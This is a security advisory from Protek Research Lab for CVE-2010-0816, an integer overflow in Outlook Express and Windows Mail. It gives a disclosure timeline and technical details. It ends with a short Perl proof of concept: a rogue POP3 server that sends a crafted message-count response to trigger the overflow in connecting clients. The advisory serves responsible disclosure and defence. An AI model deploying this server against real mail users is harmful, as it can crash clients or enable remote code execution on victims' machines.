Microsoft Windows Outlook Express and Windows Mail - Integer Overflow

Application:   Microsoft Outlook Express

Microsoft Windows Mail



Platforms:   Windows 2000

Windows XP

Windows Vista

Windows server 2003

Windows Server 2008 SR2



Exploitation:   Remote Exploitable   



CVE Number:   CVE-2010-0816



Discover Date:   2009-09-11



Author:   Francis Provencher (Protek Research Lab's)



Website:   http://www.protekresearchlab.com   





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1) Introduction

2) Report Timeline

3) Technical details

4) Products affected

5) The Code





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=================

1) Introduction

=================



Windows Mail is an e-mail  and newsgroup client included in Windows Vista, that was superseded by Windows Live Mail.



It is the successor to Outlook Express. Microsoft previewed Windows Mail on Channel 9 on October 10, 2005.[1]



Unlike Outlook Express, Windows Mail is not considered to be a component of Internet Explorer. As such, it will not



be made available for earlier Windows operating systems, while Windows Internet Explorer 7 was made available for



Windows XP.



Windows Mail has been succeeded by Windows Live Mail, which was built by the same development team as Windows Mail



and also serves as the replacement for Outlook Express for Windows XP.



(Wikipedia)

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====================

2) Report Timeline

====================



2009-11-09  Vendor Contacted

2009-11-09  Vendor Response

2009-11-16  Vendor request a PoC

2009-11-16  PoC is send

2009-11-19  Vendor confirme they received PoC

2009-11-24  Vendor confirm the vulnerability

2010-05-11  Public release of this advisory 



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======================

3) Technical details

======================



An unauthenticated remote code execution vulnerability exists in the way that the Windows Mail Client software



handles specially crafted mail responses. An attempt to exploit the vulnerability would not require authentication,



allowing an attacker to exploit the vulnerability by sending a specially crafted response to a client initiating a



connection to a server under his control using the common mail protocols.





The vulnerability is caused by a common library used by Outlook Express and Windows Mail insufficiently validating



network data before using that data to calculate the necessary size of a buffer.







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4) Product affected

=====================



Mail client;   Microsoft Outlook Express & Microsoft Windows Mail

Plateforms;   Vista SP1 & Windows Server 2008 SP1



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=============

5) The Code

=============





#!/usr/bin/perl -w

# Found by Francis Provencher for Protek Research Lab's

# {PRL} Microsoft Windows Mail CLient & outlook express Remote Integer Overflow

#







use IO::Socket;



$port = 110;



$serv = IO::Socket::INET->new(Proto=>'tcp',

LocalPort=>$port,

Listen=>1)

or die "Error: listen($port)\n";



$cli = $serv->accept() or die "Error: accept()\n";





$cli->send("+OK\r\n");

$cli->recv($recvbuf, 512);

$cli->send("+OK\r\n");

$cli->recv($recvbuf, 512);

$cli->send("+OK\r\n");

$cli->recv($recvbuf, 512);

$cli->send("+OK 357913944 100\r\n");